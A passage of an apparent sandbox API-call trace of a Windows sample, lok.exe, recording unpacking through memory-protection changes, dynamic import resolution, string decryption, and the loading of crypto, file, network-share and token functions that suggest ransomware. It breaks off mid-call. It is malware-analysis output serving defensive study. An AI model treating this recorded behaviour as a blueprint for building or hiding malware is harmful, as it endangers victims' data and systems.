0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.811] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.812] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.813] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.814] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.815] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.816] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.817] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0069.818] GetLastError () returned 0x0 [0072.183] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0072.184] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0072.185] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0072.186] VirtualProtect (in: lpAddress=0xa505f0, dwSize=0x777e, flNewProtect=0x40, lpflOldProtect=0x18e240 | out: lpflOldProtect=0x18e240*=0x4) returned 1 [0072.247] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0072.247] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0072.248] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0072.248] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x4c [0072.250] Module32First (hSnapshot=0x4c, lpme=0x18f440) returned 1 [0072.251] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0072.252] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0072.252] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0072.252] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0072.253] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0072.253] SetErrorMode (uMode=0x400) returned 0x0 [0072.253] SetErrorMode (uMode=0x0) returned 0x400 [0072.253] GetVersionExA (in: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0072.253] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0072.254] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f3f8 | out: lpflOldProtect=0x18f3f8*=0x2) returned 1 [0072.264] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.265] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0072.268] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0072.268] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0072.268] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0072.268] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0072.268] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0072.269] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0072.270] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0072.271] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0072.272] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0072.272] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0072.315] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0072.315] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0072.315] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0072.316] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0072.316] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0072.316] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0072.317] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0072.318] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0072.318] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0072.318] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0072.318] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0072.326] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0072.326] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0072.327] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0072.327] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0072.332] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0072.332] atexit (param_1=0x20920) returned 0 [0072.333] GetVersion () returned 0x1db10106 [0072.333] GetCurrentProcess () returned 0xffffffff [0072.333] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f40c | out: TokenHandle=0x18f40c*=0x8c) returned 1 [0072.613] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18f410, TokenInformationLength=0x4, ReturnLength=0x18f414 | out: TokenInformation=0x18f410, ReturnLength=0x18f414) returned 1 [0072.613] CloseHandle (hObject=0x8c) returned 1 [0072.613] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744" [0072.614] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744", pNumArgs=0x18f414 | out: pNumArgs=0x18f414) returned 0xa59b78*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" [0072.615] GetProcessHeap () returned 0xa40000 [0072.615] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1) returned 0xa57e28 [0072.615] GetProcessHeap () returned 0xa40000 [0072.615] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x2c) returned 0xa58d30 [0072.616] CryptAcquireContextW (in: phProv=0xa58d30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xa58d30*=0xa5c4b0) returned 1 [0072.967] GetProcessHeap () returned 0xa40000 [0072.967] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa0) returned 0xa5d4f8 [0072.967] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f388, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5c3e8) returned 1 [0072.968] CryptDecrypt (in: hKey=0xa5c3e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5d4f8, pdwDataLen=0xa58d58 | out: pbData=0xa5d4f8, pdwDataLen=0xa58d58) returned 1 [0072.968] CryptDestroyKey (hKey=0xa5c3e8) returned 1 [0072.968] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0072.968] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0072.969] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0072.979] GetProcessHeap () returned 0xa40000 [0072.979] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5c418 [0072.979] GetProcessHeap () returned 0xa40000 [0072.979] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x10) returned 0xa5dcc8 [0073.013] GetProcessHeap () returned 0xa40000 [0073.013] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5c9f0 [0073.013] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e120) returned 1 [0073.013] CryptDecrypt (in: hKey=0xa5e120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5c9f0, pdwDataLen=0x18f3f8 | out: pbData=0xa5c9f0, pdwDataLen=0x18f3f8) returned 1 [0073.013] CryptDestroyKey (hKey=0xa5e120) returned 1 [0073.013] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5ca18 [0073.014] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e120) returned 1 [0073.014] CryptDecrypt (in: hKey=0xa5e120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5ca18, pdwDataLen=0x18f3f8 | out: pbData=0xa5ca18, pdwDataLen=0x18f3f8) returned 1 [0073.014] CryptDestroyKey (hKey=0xa5e120) returned 1 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x40) returned 0xa5e318 [0073.014] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e120) returned 1 [0073.014] CryptDecrypt (in: hKey=0xa5e120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e318, pdwDataLen=0x18f3f8 | out: pbData=0xa5e318, pdwDataLen=0x18f3f8) returned 1 [0073.014] CryptDestroyKey (hKey=0xa5e120) returned 1 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x80) returned 0xa5e360 [0073.014] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e120) returned 1 [0073.014] CryptDecrypt (in: hKey=0xa5e120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e360, pdwDataLen=0x18f3fc | out: pbData=0xa5e360, pdwDataLen=0x18f3fc) returned 1 [0073.014] CryptDestroyKey (hKey=0xa5e120) returned 1 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x14) returned 0xa5e120 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xd) returned 0xa5dce0 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1f) returned 0xa5ca40 [0073.014] GetProcessHeap () returned 0xa40000 [0073.014] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1e) returned 0xa5ca68 [0073.014] GetProcessHeap () returned 0xa40000 [0073.015] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xd) returned 0xa5dcf8 [0073.015] GetProcessHeap () returned 0xa40000 [0073.015] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x18) returned 0xa5e140 [0073.015] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0073.015] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.015] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0073.015] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0073.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0073.016] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0073.016] GetProcessHeap () returned 0xa40000 [0073.016] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e360 | out: hHeap=0xa40000) returned 1 [0073.016] GetProcessHeap () returned 0xa40000 [0073.016] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dce0 | out: hHeap=0xa40000) returned 1 [0073.016] GetProcessHeap () returned 0xa40000 [0073.016] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca40 | out: hHeap=0xa40000) returned 1 [0073.017] GetProcessHeap () returned 0xa40000 [0073.017] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca68 | out: hHeap=0xa40000) returned 1 [0073.017] GetProcessHeap () returned 0xa40000 [0073.017] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dcf8 | out: hHeap=0xa40000) returned 1 [0073.017] GetProcessHeap () returned 0xa40000 [0073.017] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e140 | out: hHeap=0xa40000) returned 1 [0073.017] GetProcessHeap () returned 0xa40000 [0073.017] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e120 | out: hHeap=0xa40000) returned 1 [0073.017] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f3e8, cchData=32 | out: lpLCData="\x03") returned 16 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4) returned 0xa5c538 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, 